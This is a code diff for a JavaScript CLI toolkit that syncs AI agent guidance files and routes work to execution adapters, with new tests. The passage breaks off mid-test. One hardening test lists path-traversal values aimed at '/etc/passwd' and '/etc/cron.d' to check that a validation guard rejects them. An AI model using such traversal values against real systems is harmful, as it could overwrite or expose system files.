+// Direction: this module imports the concrete OPENCODE_LIFECYCLE_ADAPTER from +// opencode.mjs and registers it here, rather than opencode.mjs importing this +// module and self-registering. opencode.mjs already imports from +// adapters/config.mjs today, but nothing under adapters/ imports opencode.mjs +// — so this is a new, one-way edge (adapters/* -> opencode.mjs) that never +// cycles back (opencode.mjs has no reason to import this module: callers +// reach it through lifecycleAdapterFor/hostsWithLifecycle instead). +import { validateLifecycleAdapter } from './lifecycle.mjs'; +import { HOST_REGISTRY } from './registries.mjs'; +import { OPENCODE_LIFECYCLE_ADAPTER } from '../opencode.mjs'; + +const LIFECYCLE_ADAPTERS = new Map(); + +/** + * Register a built-in host's lifecycle adapter. Internal — called by this + * module itself, once per built-in, at import time. There is no dynamic or + * third-party host concept yet, so this is not a general-purpose plugin API. + * + * Throws when the host id isn't in HOST_REGISTRY or the adapter doesn't + * satisfy validateLifecycleAdapter: a wiring bug in a built-in is a load-time + * fault, not a runtime one. `hostRegistry` is overridable so this invariant + * is unit-testable directly (a synthetic registry) without needing a + * fresh-module import trick. + * @param {string} hostId + * @param {any} adapter — shape enforced by validateLifecycleAdapter, not the type system + * @param {{ hostRegistry?: ReadonlyArray<{id: string}> }} [opts] + * @returns {any} + */ +export function registerBuiltinLifecycle(hostId, adapter, { hostRegistry = HOST_REGISTRY } = {}) { + if (!hostRegistry.some((host) => host.id === hostId)) { + throw new TypeError(`lifecycle registry: unknown host id '${hostId}' — not present in HOST_REGISTRY`); + } + validateLifecycleAdapter(adapter); + LIFECYCLE_ADAPTERS.set(hostId, adapter); + return adapter; +} + +registerBuiltinLifecycle('opencode', OPENCODE_LIFECYCLE_ADAPTER); + +/** + * @param {string} hostId + * @returns {any|null}|null} + */ +export function lifecycleAdapterFor(hostId) { + return LIFECYCLE_ADAPTERS.get(hostId) ?? null; +} + +/** + * Host ids with a registered lifecycle adapter, in HOST_REGISTRY order (not + * Map-insertion order) so callers get a deterministic, registry-driven + * iteration order as more hosts gain lifecycle adapters. + * @returns {string[]} + */ +export function hostsWithLifecycle() { + return HOST_REGISTRY.filter((host) => LIFECYCLE_ADAPTERS.has(host.id)).map((host) => host.id); +} diff --git a/src/lib/blocks.mjs b/src/lib/blocks.mjs index 3b993be..af6fa92 100644 --- a/src/lib/blocks.mjs +++ b/src/lib/blocks.mjs @@ -19,6 +19,7 @@ import path from 'node:path'; import { claudeDir, claudeMdPath, codexDir, opencodeDir, home } from './paths.mjs'; import { have } from './exec.mjs'; import { writeFileWithBackup } from './file-write.mjs'; +import { HOST_REGISTRY } from './adapters/index.mjs'; export const BEGIN = (slug) => ``; export const END = (slug) => ``; @@ -255,38 +256,104 @@ export function blocksForTarget(rows, targetName) { * carries a detector that never fires (`{type:'retired'}` → detect() falls to * its default false), so a present block is stripped and an absent one is a * no-op — the original detector (e.g. a live `flag`) can never re-upsert it into - * a file it must stay out of. Absent from the file → nothing happens (no write). */ -export function retiredForTarget(rows, targetName) { + * a file it must stay out of. Absent from the file → nothing happens (no write). + * + * `knownTargets` (optional) is the full universe of REAL target names — e.g. + * `guidanceTargets().map(t => t.name)`. When supplied, a row is only force- + * stripped when it names at least one target from that universe: it was + * legitimately re-scoped AWAY from `targetName` to some other real target + * (F-17's original migration case — see the dual-mode-reference tests). A row + * whose `guidanceFiles` name NOTHING in `knownTargets` (a typo, or a target no + * currently-registered host produces) is left alone instead of being force- + * stripped from every real file — this module has no basis for treating an + * unrecognized target as "retired from here." Omitting `knownTargets` + * preserves the original unconditional behavior for every existing 2-arg call + * site (status.mjs, nudge.mjs, opencode.mjs — this refactor's edit boundary + * doesn't cover them; only `reconcileGuidance` below opts into the 3-arg + * form). For the registry as it ships today every row's `guidanceFiles` are + * already within the known-target universe, so this is a no-observable-change + * refinement, not a behavior change. */ +export function retiredForTarget(rows, targetName, knownTargets) { return rows - .filter((r) => !(r.guidanceFiles ?? ['claude']).includes(targetName)) + .filter((r) => { + const files = r.guidanceFiles ?? ['claude']; + if (files.includes(targetName)) return false; + if (!knownTargets) return true; + return files.some((f) => knownTargets.includes(f)); + }) .map((r) => ({ ...r, detector: { type: 'retired' } })); } -/** The logical guidance targets `sync` (apply) and `status` (dry-run) both loop. - * ONE source of truth so the two commands can never drift. Always: machine-wide - * `~/.claude/CLAUDE.md` (claude) + the project's own `/AGENTS.md` (agents). - * The machine-scoped `~/.codex/AGENTS.md` (agents-user) is included ONLY when - * `~/.codex` already exists — codex's presence signal — and is NEVER created by - * this discovery (dir-exists gate, no mkdir). That single gate covers both cases: - * a codex machine that is momentarily single-host still gets the target (so a - * stale block can be stripped), and a codex-less machine never grows a ~/.codex. - * `~/.config/opencode/AGENTS.md` (agents-opencode) follows the identical rule - * (opencode's config home is its presence signal; opencode prefers this file - * over ~/.claude/CLAUDE.md, so it needs its own managed copy rather than - * inheriting claude's). `cfg` is accepted for call-site symmetry/forward-compat; - * the target set is cfg-independent today. `codexRoot`/`opencodeRoot` are test - * seams (default to the real dirs). - * @param {{ cwd?: string, cfg?: object, codexRoot?: string, opencodeRoot?: string }} opts */ -export function guidanceTargets({ cwd = process.cwd(), codexRoot = codexDir(), opencodeRoot = opencodeDir() } = {}) { - const targets = [ - { name: 'claude', label: 'CLAUDE.md', file: claudeMdPath() }, - { name: 'agents', label: 'AGENTS.md', file: path.join(cwd, 'AGENTS.md') }, - ]; - if (fs.existsSync(codexRoot)) { - targets.push({ name: 'agents-user', label: '~/.codex/AGENTS.md', file: path.join(codexRoot, 'AGENTS.md') }); - } - if (fs.existsSync(opencodeRoot)) { - targets.push({ name: 'agents-opencode', label: 'opencode AGENTS.md', file: path.join(opencodeRoot, 'AGENTS.md') }); +/** Per-host guidance-target construction (F-17). Every host in `hosts` that + * declares `capabilities.nativeGuidance` contributes a target named after its + * `legacy.guidanceFile` — the logical name HOST_REGISTRY already carries but + * which nothing consumed before this. Paths/labels/presence-gating stay a + * caller concern (see the module header comment: "Logical names only; paths + * stay a caller concern"), so this module still owns the bespoke mapping for + * the three hosts it knows about: + * - claude → 'claude': machine-wide `~/.claude/CLAUDE.md`, always included. + * - codex → 'agents': the project's own `/AGENTS.md`, always included + * (the AGENTS.md convention is host-neutral, not gated on codex being + * installed). codex ALSO contributes a companion machine-scoped target, + * 'agents-user' (`~/.codex/AGENTS.md`) — included only when `~/.codex` + * already exists (codex's presence signal) and NEVER created by this + * discovery (dir-exists gate, no mkdir: a momentarily single-host codex + * machine still gets the target so a stale block can be stripped; a + * codex-less machine never grows a ~/.codex). This companion has no + * `guidanceFile` entry of its own in HOST_REGISTRY — the registry models + * one logical guidance file per host today, and adding a second field is + * outside blocks.mjs's edit boundary — so it stays keyed off the codex + * host id rather than being independently derived. + * - opencode → 'agents-opencode': `~/.config/opencode/AGENTS.md`, included + * only when opencode's config home already exists (identical presence + * rule to agents-user; opencode prefers this file over + * ~/.claude/CLAUDE.md, so it needs its own managed copy). + * A host id this module has no bespoke mapping for still joins the loop (it is + * not silently dropped the way the old hardcoded array would drop it): it gets + * a generic, always-on target named after its own `guidanceFile`. This is what + * makes the list "derived" rather than closed — see the synthetic-host test in + * tests/kit/guidance-targets.test.mjs. + * `cfg` is accepted for call-site symmetry/forward-compat; the target set is + * cfg-independent today. `codexRoot`/`opencodeRoot`/`hosts` are test seams + * (default to the real dirs / the real registry). + * @param {{ cwd?: string, cfg?: object, codexRoot?: string, opencodeRoot?: string, hosts?: Array }} opts */ +export function guidanceTargets({ + cwd = process.cwd(), codexRoot = codexDir(), opencodeRoot = opencodeDir(), hosts = HOST_REGISTRY, +} = {}) { + const targets = []; + for (const host of hosts) { + if (!host?.capabilities?.nativeGuidance) continue; + const name = host.legacy?.guidanceFile; + if (!name) continue; + switch (host.id) { + case 'claude': + targets.push({ name, label: 'CLAUDE.md', file: claudeMdPath() }); + break; + case 'codex': + targets.push({ name, label: 'AGENTS.md', file: path.join(cwd, 'AGENTS.md') }); + if (fs.existsSync(codexRoot)) { + targets.push({ name: 'agents-user', label: '~/.codex/AGENTS.md', file: path.join(codexRoot, 'AGENTS.md') }); + } + break; + case 'opencode': + if (fs.existsSync(opencodeRoot)) { + targets.push({ name, label: 'opencode AGENTS.md', file: path.join(opencodeRoot, 'AGENTS.md') }); + } + break; + default: + // Generic fallback so an unrecognized-but-nativeGuidance host still + // joins the reconciliation loop instead of being silently unlooped. + // Id-shaped names only: path.join normalizes '..' so a hostile + // guidanceFile could escape cwd into a real write primitive + // (reconcileGuidance → syncBlocks). A non-conforming name is skipped + // entirely — excluded-and-safe beats sanitized-and-surprising. + // Schema-level validation of legacy.guidanceFile is the wave-4 + // admission gate's job, deliberately not duplicated here. + if (/^[a-z][a-z0-9-]{0,63}$/.test(name)) { + targets.push({ name, label: name, file: path.join(cwd, `${name}.md`) }); + } + break; + } } return targets; } @@ -311,8 +378,10 @@ export async function reconcileGuidance({ cwd, cfg, pkgRoot, context = {}, dryRu const rows = registry(cfg.customBlocks); const resolve = templateResolver(pkgRoot); const out = []; - for (const t of guidanceTargets({ cwd, cfg })) { - const treg = [...blocksForTarget(rows, t.name), ...retiredForTarget(rows, t.name)]; + const targets = guidanceTargets({ cwd, cfg }); + const knownTargets = targets.map((t) => t.name); + for (const t of targets) { + const treg = [...blocksForTarget(rows, t.name), ...retiredForTarget(rows, t.name, knownTargets)]; const res = await syncBlocks(t.file, treg, resolve, { context, dryRun }); const changed = res.filter((r) => r.action !== 'unchanged' && r.action !== 'skipped') .map((r) => `${r.slug} ${r.action}`).join(', '); diff --git a/src/lib/config.mjs b/src/lib/config.mjs index 20bb0b2..c3ec4ff 100644 --- a/src/lib/config.mjs +++ b/src/lib/config.mjs @@ -50,6 +50,31 @@ const DEFAULTS = { const plain = (value) => value !== null && typeof value === 'object' && !Array.isArray(value); +// F-14: kit.json top-level keys this ak version understands, derived from +// DEFAULTS (the envelope already lists every recognized key, versioned +// sub-objects included) rather than a second literal that could drift. +const KNOWN_TOP_LEVEL_KEYS = new Set(Object.keys(DEFAULTS)); + +// Warn once per process per distinct unknown-key set, not once per load — +// loadKitConfig runs on nearly every command invocation. +const warnedUnknownKeySignatures = new Set(); + +function warnUnknownTopLevelKeys(parsed) { + if (!plain(parsed)) return; + const unknown = Object.keys(parsed).filter((key) => !KNOWN_TOP_LEVEL_KEYS.has(key)); + if (unknown.length === 0) return; + const signature = [...unknown].sort().join(','); + if (warnedUnknownKeySignatures.has(signature)) return; + warnedUnknownKeySignatures.add(signature); + // Deliberately console.error, not lib/output.mjs's warn() — that helper + // writes to stdout (console.log), which would corrupt `--json` consumers + // of loadKitConfig. console.error here mirrors the existing stderr-only + // warning convention in commands/run.mjs. + console.error( + `kit.json keys not recognized by this ak version: ${unknown.join(', ')} — preserved, ignored`, + ); +} + function assertLoadableEnvelopes(config) { if (!plain(config.integrations)) { throw new TypeError( @@ -145,6 +170,7 @@ export function loadKitConfig(file = kitConfigPath()) { } catch (error) { throw new KitConfigError(cand, error.message, { cause: error }); } + warnUnknownTopLevelKeys(parsed); // Migrate raw presence before defaults can masquerade as legacy user intent. try { return structuredClone(withDefaults(migrateKitConfig(parsed))); diff --git a/src/lib/execution/adapters.mjs b/src/lib/execution/adapters.mjs index 88f1c59..6f43f21 100644 --- a/src/lib/execution/adapters.mjs +++ b/src/lib/execution/adapters.mjs @@ -11,20 +11,36 @@ export const EXECUTION_ADAPTERS = Object.freeze(new Map([ ['opencode', OPENCODE_EXECUTION_ADAPTER], ])); -// Construction invariant (#88, architecture leg): every routable host needs an -// execution adapter, and every adapter needs a routable host — enforced at -// import, exactly like the capability registries' own construction check. A -// host flipped to canRouteActivities without an adapter (or an adapter added -// for an unroutable host) would otherwise load cleanly and fail only at -// runtime with cli_unavailable on every worker — issue #71's trap. -{ - const routable = new Set(routableHostIds()); - const adapted = new Set(EXECUTION_ADAPTERS.keys()); - const missing = [...routable].filter((id) => !adapted.has(id)); - const stray = [...adapted].filter((id) => !routable.has(id)); - if (missing.length || stray.length) { +// Construction invariant (#88, amended W1-B per ADR-0019's cli_unavailable +// degradation precedent): only the built-in -> registry direction throws now. +// A built-in execution adapter wired for a host the registry no longer marks +// routable is an in-tree wiring mistake — that still throws loudly at import, +// exactly like before. The reverse used to throw too (a registry host marked +// routable with no built-in adapter), but that meant any future host flipped +// to canRouteActivities:true ahead of its adapter landing would brick this +// module's import for every consumer of `ak run` — the merge-seam gap this +// wave exists to open. That direction is no longer a construction error: +// executionAdapterFor() below returns null for it, and the runner degrades +// just that one worker with cli_unavailable instead of crashing the run +// (src/lib/execution/runner.mjs's adapterFor already had this fallback for +// wholly-unknown hosts — a routable-but-unadapted host now takes the same +// path, never a new one). +export function assertBuiltinAdaptersRoutable(routableIds = routableHostIds()) { + const routable = routableIds instanceof Set ? routableIds : new Set(routableIds); + const stray = [...EXECUTION_ADAPTERS.keys()].filter((id) => !routable.has(id)); + if (stray.length) { throw new Error(`execution adapters out of sync with routable hosts: ` - + `${missing.length ? `no adapter for routable host(s): ${missing.join(', ')}. ` : ''}` - + `${stray.length ? `adapter(s) for non-routable host(s): ${stray.join(', ')}` : ''}`.trim()); + + `adapter(s) for non-routable host(s): ${stray.join(', ')}`); } } + +assertBuiltinAdaptersRoutable(); + +/** Merge seam (W1-B): resolve one host's execution adapter without exposing + * the underlying Map. Built-ins resolve here today; a later wave admits + * externally-registered adapters into this same lookup. Returns null for a + * host with no adapter wired yet — never throws, so callers can degrade a + * single worker instead of failing an entire run. */ +export function executionAdapterFor(hostId) { + return EXECUTION_ADAPTERS.get(hostId) ?? null; +} diff --git a/src/lib/execution/runner.mjs b/src/lib/execution/runner.mjs index dad892f..9108b4b 100644 --- a/src/lib/execution/runner.mjs +++ b/src/lib/execution/runner.mjs @@ -1,7 +1,7 @@ // Host-neutral execution coordinator. It owns scheduling, deadlines, and // lifecycle cleanup; adapters own each host's transport and protocol details. import { validateExecutionAdapter, validateWorkerResult } from './schema.mjs'; -import { EXECUTION_ADAPTERS } from './adapters.mjs'; +import { executionAdapterFor } from './adapters.mjs'; import { HANDOFF_REQUEST, normalizeHandoff, @@ -191,8 +191,18 @@ function validatePlan(plan) { } } +// W1-B: an omitted `adapters` option resolves through the built-in merge +// seam (executionAdapterFor) instead of a raw Map reference, so a future +// externally-admitted adapter joins this same lookup without callers here +// changing. Explicit injection (tests, callers with their own registry) +// still takes a Map or plain object, unchanged. Only `undefined` selects the +// built-in seam: an explicit `null` disables ALL adapters (every worker +// degrades cli_unavailable) rather than meaning "use defaults" — fail-safe, +// but don't pass null expecting the built-ins. function adapterFor(adapters, host) { - const adapter = adapters instanceof Map ? adapters.get(host) : adapters?.[host]; + const adapter = adapters === undefined + ? executionAdapterFor(host) + : adapters instanceof Map ? adapters.get(host) : adapters?.[host]; return adapter ? validateExecutionAdapter(adapter) : null; } @@ -265,7 +275,7 @@ async function executeWorkerWithEscalation(worker, adapters, { * A failed dependency blocks descendants; independent branches keep running. * `escalate: true` enables bounded per-worker ladder retries (ADR-0019). */ export async function executeRunPlan(plan, { - adapters = EXECUTION_ADAPTERS, cwd = process.cwd(), maxConcurrent = 4, timeoutMs, clock = nowIso, escalate = false, + adapters, cwd = process.cwd(), maxConcurrent = 4, timeoutMs, clock = nowIso, escalate = false, } = /** @type {{adapters?:Record|Map, cwd?:string, maxConcurrent?:number, timeoutMs?:number, clock?:()=>string, escalate?:boolean}} */ ({})) { validatePlan(plan); if (!Number.isInteger(maxConcurrent) || maxConcurrent < 1) throw new TypeError('maxConcurrent must be a positive integer'); diff --git a/tests/kit/execution-runner.test.mjs b/tests/kit/execution-runner.test.mjs index 1298452..ef35de9 100644 --- a/tests/kit/execution-runner.test.mjs +++ b/tests/kit/execution-runner.test.mjs @@ -1,6 +1,6 @@ import { test } from 'node:test'; import assert from 'node:assert/strict'; -import { EXECUTION_ADAPTERS } from '../../src/lib/execution/adapters.mjs'; +import { EXECUTION_ADAPTERS, assertBuiltinAdaptersRoutable, executionAdapterFor } from '../../src/lib/execution/adapters.mjs'; import { executeRunPlan } from '../../src/lib/execution/runner.mjs'; const worker = (id, host = 'opencode', dependsOn) => ({ id, activity: 'implementation', role: 'coder', host, prompt: id, ...(dependsOn ? { dependsOn } : {}) }); @@ -452,11 +452,12 @@ test('runner reports an unknown host without attempting a lifecycle', async () = assert.match(result.failure.reason, /no execution adapter/); }); -// #88: the construction invariant — every routable host has an execution -// adapter and vice versa, enforced at import. A fresh process import must -// never throw; a violating edit fails here (and at import) instead of at -// runtime with cli_unavailable on every worker. -test('routable hosts and execution adapters cannot drift apart (construction invariant)', async () => { +// #88 (amended W1-B): the construction invariant now only enforces the +// built-in -> registry direction. A fresh process import must never throw +// against the real registry; a violating in-tree edit (a built-in adapter +// wired for a host the registry doesn't mark routable) still fails at +// import, never silently at runtime. +test('a fresh process imports the real execution adapters registry cleanly (construction invariant)', async () => { const { spawnSync } = await import('node:child_process'); const { fileURLToPath } = await import('node:url'); const path = await import('node:path'); @@ -468,6 +469,43 @@ test('routable hosts and execution adapters cannot drift apart (construction inv assert.match(r.stdout, /in-sync/); }); +// #88 (amended W1-B): a built-in adapter for a host the registry no longer +// marks routable is still an in-tree wiring mistake — this direction keeps +// throwing loudly, naming the offending host(s). +test('a built-in adapter for a non-routable host still throws (in-tree wiring mistake)', () => { + assert.throws(() => assertBuiltinAdaptersRoutable(['codex', 'opencode']), + /adapter\(s\) for non-routable host\(s\): claude/); +}); + +// #88 (amended W1-B): the reverse direction — a registry host marked +// routable with NO built-in adapter — is now a legitimate merge-seam gap, +// not a construction error. This is exactly the scenario a future registry +// entry (canRouteActivities:true, adapter landing in a later wave) creates. +test('a routable registry host with no built-in adapter does NOT throw at import (merge seam)', () => { + assert.doesNotThrow(() => assertBuiltinAdaptersRoutable(['claude', 'codex', 'opencode', 'future-host'])); +}); + +test('executionAdapterFor resolves built-ins identically to the old map, and null for an unwired host', () => { + assert.equal(executionAdapterFor('claude'), EXECUTION_ADAPTERS.get('claude')); + assert.equal(executionAdapterFor('codex'), EXECUTION_ADAPTERS.get('codex')); + assert.equal(executionAdapterFor('opencode'), EXECUTION_ADAPTERS.get('opencode')); + assert.equal(executionAdapterFor('future-host'), null); +}); + +// #88 (amended W1-B): a routed plan naming a host with no built-in adapter +// degrades that one worker instead of crashing the run. This is the SAME +// code path as "runner reports an unknown host without attempting a +// lifecycle" above — adapterFor() only cares whether an adapter is wired, +// never whether the registry calls the host routable — so a +// routable-but-unadapted host (this wave's actual failure mode) degrades +// identically to a wholly unknown one. +test('a routed plan naming a routable-but-unadapted host degrades that worker (cli_unavailable), never crashes', async () => { + const [result] = await executeRunPlan({ workers: [worker('a', 'future-host')] }, { clock }); + assert.equal(result.status, 'failed'); + assert.equal(result.exitCategory, 'cli_unavailable'); + assert.match(result.failure.reason, /no execution adapter/); +}); + // #88 test-gap: plan-validation guards — removing any of these converts a // throw into a silent hang or a late crash. test('plan validation rejects duplicate ids, unknown deps, self-deps, and bad concurrency', async () => { diff --git a/tests/kit/guidance-targets.test.mjs b/tests/kit/guidance-targets.test.mjs index 8e94466..d010a5e 100644 --- a/tests/kit/guidance-targets.test.mjs +++ b/tests/kit/guidance-targets.test.mjs @@ -7,6 +7,7 @@ import { guidanceTargets, retiredForTarget, blocksForTarget, syncBlocks, registry, BUILTIN_BLOCKS, } from '../../src/lib/blocks.mjs'; import { codexDir, codexAgentsMdPath, home, claudeMdPath } from '../../src/lib/paths.mjs'; +import { HOST_REGISTRY } from '../../src/lib/adapters/index.mjs'; const block = (slug, body) => `\n${body}\n\n`; @@ -52,6 +53,121 @@ test('guidanceTargets defaults codexRoot to the real ~/.codex path', () => { assert.equal(targets.some((t) => t.name === 'agents-user'), hasCodex); }); +// ── F-17: guidanceTargets is derived from HOST_REGISTRY, not a closed literal +// list. These four cases pin EXACTLY today's shape (name/label/file, in order) +// for every host-enablement combination, so the registry-derived rewrite below +// cannot silently change what ships. ──────────────────────────────────────── + +test('F-17 pin: claude-only (neither codex nor opencode present)', () => { + const cwd = '/tmp/proj-pin-claude-only'; + const missingCodex = path.join(os.tmpdir(), 'no-such-codex-pin'); + const missingOpencode = path.join(os.tmpdir(), 'no-such-opencode-pin'); + const targets = guidanceTargets({ cwd, codexRoot: missingCodex, opencodeRoot: missingOpencode }); + assert.deepEqual(targets, [ + { name: 'claude', label: 'CLAUDE.md', file: claudeMdPath() }, + { name: 'agents', label: 'AGENTS.md', file: path.join(cwd, 'AGENTS.md') }, + ]); +}); + +test('F-17 pin: +codex (codex dir present, opencode absent)', () => { + const cwd = '/tmp/proj-pin-codex'; + const codexRoot = fs.mkdtempSync(path.join(os.tmpdir(), 'kit-pin-codex-')); + const missingOpencode = path.join(os.tmpdir(), 'no-such-opencode-pin-2'); + const targets = guidanceTargets({ cwd, codexRoot, opencodeRoot: missingOpencode }); + assert.deepEqual(targets, [ + { name: 'claude', label: 'CLAUDE.md', file: claudeMdPath() }, + { name: 'agents', label: 'AGENTS.md', file: path.join(cwd, 'AGENTS.md') }, + { name: 'agents-user', label: '~/.codex/AGENTS.md', file: path.join(codexRoot, 'AGENTS.md') }, + ]); + fs.rmSync(codexRoot, { recursive: true, force: true }); +}); + +test('F-17 pin: +opencode (opencode dir present, codex absent)', () => { + const cwd = '/tmp/proj-pin-opencode'; + const missingCodex = path.join(os.tmpdir(), 'no-such-codex-pin-3'); + const opencodeRoot = fs.mkdtempSync(path.join(os.tmpdir(), 'kit-pin-opencode-')); + const targets = guidanceTargets({ cwd, codexRoot: missingCodex, opencodeRoot }); + assert.deepEqual(targets, [ + { name: 'claude', label: 'CLAUDE.md', file: claudeMdPath() }, + { name: 'agents', label: 'AGENTS.md', file: path.join(cwd, 'AGENTS.md') }, + { name: 'agents-opencode', label: 'opencode AGENTS.md', file: path.join(opencodeRoot, 'AGENTS.md') }, + ]); + fs.rmSync(opencodeRoot, { recursive: true, force: true }); +}); + +test('F-17 pin: all hosts present (codex + opencode)', () => { + const cwd = '/tmp/proj-pin-all'; + const codexRoot = fs.mkdtempSync(path.join(os.tmpdir(), 'kit-pin-codex-all-')); + const opencodeRoot = fs.mkdtempSync(path.join(os.tmpdir(), 'kit-pin-opencode-all-')); + const targets = guidanceTargets({ cwd, codexRoot, opencodeRoot }); + assert.deepEqual(targets, [ + { name: 'claude', label: 'CLAUDE.md', file: claudeMdPath() }, + { name: 'agents', label: 'AGENTS.md', file: path.join(cwd, 'AGENTS.md') }, + { name: 'agents-user', label: '~/.codex/AGENTS.md', file: path.join(codexRoot, 'AGENTS.md') }, + { name: 'agents-opencode', label: 'opencode AGENTS.md', file: path.join(opencodeRoot, 'AGENTS.md') }, + ]); + fs.rmSync(codexRoot, { recursive: true, force: true }); + fs.rmSync(opencodeRoot, { recursive: true, force: true }); +}); + +// ── F-17: synthetic-host derivation — proves the loop is genuinely driven by +// the `hosts` registry (default HOST_REGISTRY), not a hardcoded literal array. +// A registry entry this module has no bespoke path/label mapping for still +// joins the loop via the generic fallback, named after its own guidanceFile. ─ + +test('F-17: a synthetic nativeGuidance host with a guidanceFile joins the loop', () => { + const cwd = '/tmp/proj-synthetic'; + const syntheticHost = { + id: 'acme-cli', + label: 'Acme CLI', + capabilities: { nativeGuidance: true }, + legacy: { guidanceFile: 'agents-acme' }, + }; + const hosts = [...HOST_REGISTRY, syntheticHost]; + const targets = guidanceTargets({ cwd, hosts, codexRoot: '/no/such/codex', opencodeRoot: '/no/such/opencode' }); + const acme = targets.find((t) => t.name === 'agents-acme'); + assert.ok(acme, 'synthetic host contributes a target named after its guidanceFile'); + assert.equal(acme.file, path.join(cwd, 'agents-acme.md')); + // Real hosts' output is unaffected by the addition. + assert.deepEqual(targets.map((t) => t.name), ['claude', 'agents', 'agents-acme']); +}); + +test('F-17: a non-id-shaped guidanceFile contributes NO target (path-traversal hardening)', () => { + const cwd = '/tmp/proj-hardened'; + const hostile = (guidanceFile) => ({ + id: 'evil-cli', label: 'Evil CLI', + capabilities: { nativeGuidance: true }, + legacy: { guidanceFile }, + }); + for (const name of ['../../../../etc/cron.d/evil', '/etc/passwd', 'a/b', 'a\\b', 'UPPER', 'dot.dot', '']) { + const targets = guidanceTargets({ + cwd, hosts: [...HOST_REGISTRY, hostile(name)], + codexRoot: '/no/such/codex', opencodeRoot: '/no/such/opencode', + }); + // The hostile host is skipped entirely (no target at all — so no file + // path is ever derived from the hostile name); built-ins are untouched. + assert.deepEqual(targets.map((t) => t.name), ['claude', 'agents'], `skipped for ${JSON.stringify(name)}`); + } +}); + +test('F-17: a host WITHOUT nativeGuidance never contributes a target, even with a guidanceFile', () => { + const cwd = '/tmp/proj-no-native-guidance'; + const syntheticHost = { + id: 'silent-cli', + label: 'Silent CLI', + capabilities: { nativeGuidance: false }, + legacy: { guidanceFile: 'agents-silent' }, + }; + const targets = guidanceTargets({ cwd, hosts: [syntheticHost] }); + assert.deepEqual(targets, []); +}); + +test('F-17: HOST_REGISTRY is the real default — passing it explicitly matches the implicit default', () => { + const explicit = guidanceTargets({ cwd: '/tmp/z', hosts: HOST_REGISTRY }); + const implicit = guidanceTargets({ cwd: '/tmp/z' }); + assert.deepEqual(explicit, implicit); +}); + // ── retiredForTarget ───────────────────────────────────────────────────────── test('retiredForTarget returns rows NOT listing the target, with a false detector', async () => { @@ -73,6 +189,43 @@ test('retiredForTarget returns rows NOT listing the target, with a false detecto } }); +// ── F-17: retiredForTarget's optional `knownTargets` universe ─────────────── + +test('retiredForTarget without knownTargets is unchanged (2-arg call sites keep todays behavior)', () => { + // status.mjs / nudge.mjs / opencode.mjs all call retiredForTarget with 2 args + // and are outside this refactor's edit boundary — the 3rd param must default + // to exactly today's unconditional-strip behavior, even for a row naming a + // target unknown to any host. + const rows = [ + { slug: 'typo-target', guidanceFiles: ['not-a-real-target'], detector: { type: 'always' } }, + ]; + const retired = retiredForTarget(rows, 'claude'); + assert.deepEqual(retired.map((r) => r.slug), ['typo-target']); +}); + +test('retiredForTarget with knownTargets leaves an unrecognized-target row untouched', () => { + const knownTargets = ['claude', 'agents', 'agents-user', 'agents-opencode']; + const rows = [ + { slug: 'typo-target', guidanceFiles: ['not-a-real-target'], detector: { type: 'always' } }, + { slug: 'moved-away', guidanceFiles: ['agents-opencode'], detector: { type: 'always' } }, + ]; + const retired = retiredForTarget(rows, 'claude', knownTargets); + // 'typo-target' names nothing in the known universe → left alone, not force-stripped. + // 'moved-away' names a REAL known target (just not claude) → still force-stripped, + // preserving the original re-scoping/migration behavior. + assert.deepEqual(retired.map((r) => r.slug), ['moved-away']); +}); + +test('reconcileGuidance-style knownTargets derived from guidanceTargets() matches the real universe', () => { + const derived = guidanceTargets({ cwd: '/tmp/z', codexRoot: home ? codexDir() : '/no/codex' }).map((t) => t.name); + // Whatever the real machine's derived universe is, a row naming something + // entirely outside it is never force-stripped once knownTargets is passed. + const rows = [{ slug: 'outsider', guidanceFiles: ['definitely-not-a-real-target-xyz'], detector: { type: 'always' } }]; + for (const name of derived) { + assert.deepEqual(retiredForTarget(rows, name, derived), [], `outsider row must not be force-stripped for ${name}`); + } +}); + // ── registry re-scoping of the dual-mode block ─────────────────────────────── test('dual-mode block is re-scoped to claude + agents-user (machine files)', () => { diff --git a/tests/kit/lifecycle-registry.test.mjs b/tests/kit/lifecycle-registry.test.mjs new file mode 100644 index 0000000..d90e38d --- /dev/null +++ b/tests/kit/lifecycle-registry.test.mjs @@ -0,0 +1,86 @@ +// The lifecycle registry — host lifecycle adapters (detect/plan/apply/verify/ +// undo) reached by id lookup, never by a named import of a concrete host +// module. Only opencode has a lifecycle adapter today; this file pins that +// the registry wires it correctly at import time AND that the five call +// sites that used to `import { OPENCODE_LIFECYCLE_ADAPTER } from +// '../lib/opencode.mjs'` no longer do — the whole point of F-02 is that a +// second lifecycle host never needs a new named import anywhere. +import { test } from 'node:test'; +import assert from 'node:assert/strict'; +import fs from 'node:fs'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { + registerBuiltinLifecycle, lifecycleAdapterFor, hostsWithLifecycle, +} from '../../src/lib/adapters/lifecycle-registry.mjs'; +import { OPENCODE_LIFECYCLE_ADAPTER } from '../../src/lib/opencode.mjs'; +import { validateLifecycleAdapter } from '../../src/lib/adapters/lifecycle.mjs'; +import { HOST_REGISTRY } from '../../src/lib/adapters/index.mjs'; +import { fakeLifecycleAdapter, fakeSurface } from './helpers/lifecycle-harness.mjs'; + +const ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); +const src = (rel) => fs.readFileSync(path.join(ROOT, 'src', rel), 'utf8'); + +test('lifecycleAdapterFor(\'opencode\') returns the real, validated adapter', () => { + const adapter = lifecycleAdapterFor('opencode'); + assert.equal(adapter, OPENCODE_LIFECYCLE_ADAPTER, 'registry must hand back the SAME adapter instance opencode.mjs exports'); + assert.doesNotThrow(() => validateLifecycleAdapter(adapter)); +}); + +test('lifecycleAdapterFor of an unknown/unregistered host id returns null', () => { + assert.equal(lifecycleAdapterFor('codex'), null, 'codex has no lifecycle adapter yet'); + assert.equal(lifecycleAdapterFor('not-a-real-host'), null); +}); + +test('hostsWithLifecycle() returns only registered ids, in HOST_REGISTRY order', () => { + const ids = hostsWithLifecycle(); + assert.deepEqual(ids, ['opencode'], 'only opencode is registered in this wave'); + // order sanity: whatever is registered must appear in the same relative + // order it holds in HOST_REGISTRY, not Map-insertion order. + const registryOrder = HOST_REGISTRY.map((h) => h.id); + let cursor = -1; + for (const id of ids) { + const idx = registryOrder.indexOf(id); + assert.ok(idx > cursor, `${id} out of HOST_REGISTRY order`); + cursor = idx; + } +}); + +test('registering an unknown host id throws at registration (construction-time invariant)', () => { + const surface = fakeSurface({ enabled: false }); + const adapter = fakeLifecycleAdapter(surface); + assert.throws( + () => registerBuiltinLifecycle('not-in-the-registry', adapter, { 